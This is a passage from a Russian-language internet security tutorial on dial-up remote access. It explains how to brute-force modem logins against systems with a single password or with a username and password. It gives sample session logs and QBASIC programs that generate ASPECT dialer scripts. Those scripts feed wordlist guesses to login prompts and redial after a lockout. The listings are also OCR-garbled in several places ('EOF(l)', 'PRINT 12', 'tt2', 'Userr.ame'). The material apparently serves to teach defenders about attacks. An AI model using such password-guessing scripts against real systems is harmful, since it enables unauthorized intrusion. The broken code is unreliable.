Иллюстрированный самоучитель по защите в Интернет

Уязвимость удаленных соединений, PBX, Voicemail и виртуальных частных сетей

Одинарная идентификация, ограниченное число попыток

Для проникновения в систему, относящуюся ко второму типу доменов, требуется несколько больше времени, поскольку в сценарий нужно добавить новые элементы. Пример работы такой системы приведен в листинге 9.3. Несложно заметить небольшие отличия в поведении этой и рассмотренной выше системы первого типа. В данном примере после третьей попытки установки соединения появляется сообщение АТНО. Это типичная последовательность символов, означающая разрыв соединения для модемов Hayes. Значит, данное соединение разрывается после трех неудачных попыток аутентификации. Число попыток может варьироваться, однако в этом примере будет показано, как восстановить соединение при его разрыве после X (в данном примере 3-х) неудачных попыток. Для этого нужно добавить небольшой фрагмент кода в рассмотренный выше сценарий. Такой пример содержится в листинге 9.4. Здесь предпринимается три попытки угадать пароль, а затем соединение устанавливается снова и процесс повторяется.

Листинг 9.3. Пример поведения системы, относящейся ко второму типу домена.

XX-Jul-XX 03:45:08 91ХХХ5551235 С:CONNECT 9600/ARQ/V32/LAPM
Enter Password: Invalid Password.
Enter Password:
Invalid Password.
Enter Password:
Invalid Password.
ATHO

(Отметим важную характеристику – последовательность АТНО, свидетельствующую о разрыве соединения модема Hayes.)

Листинг 9.4. Пример программы на языке QBASIC (файл 5551235.BAS).

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(l) PRINT #2, "dial DATA " + CHR$(34)
+ "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ – LTRIM$(in$) + "^М"
PRINT #2, "waitfor " + CHR$(34) + "
Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"

Двойная идентификация, неограниченное число попыток

К третьему типу доменов зачастую относятся системы, которые, на первый взгляд, можно принять за системы первого домена. Однако для проникновения в систему третьего домена нужно угадать не только идентификатор пользователя, но и пароль. Поэтому проникновение в такую систему занимает больше времени, чем в системы из рассмотренных выше доменов. Сценарий проникновения в такую систему обычно более сложен, поскольку требует передачи не одной, а двух корректных строк. При этом возможно гораздо больше ошибок. Такой сценарий напоминает рассмотренные выше примеры. Пример поведения системы, относящейся к третьему домену, приведен в листинге 9.5, а программа на языке QBASIC для создания сценария ASPECT – в листинге 9.6.

Листинг 9.5. Пример поведения системы, относящейся к третьему типу домена.

XX-Jcl-XX 09:55:08 91ХХХ5551234
С: CONNECT 9600/ARQ/V32/LAPM
Userr.ame: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx

Листинг 9.6. Пример программы на языке QBASIC (файл 5551235.ВАS).

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
PRINT 12, "dial
DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(l)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "ЛМ" PRINT #2, "waitfor " + CHR$(34) + "
Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "
guest" '+ CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "
Password:" + CHR$(34)
PRINT tt2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"
Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.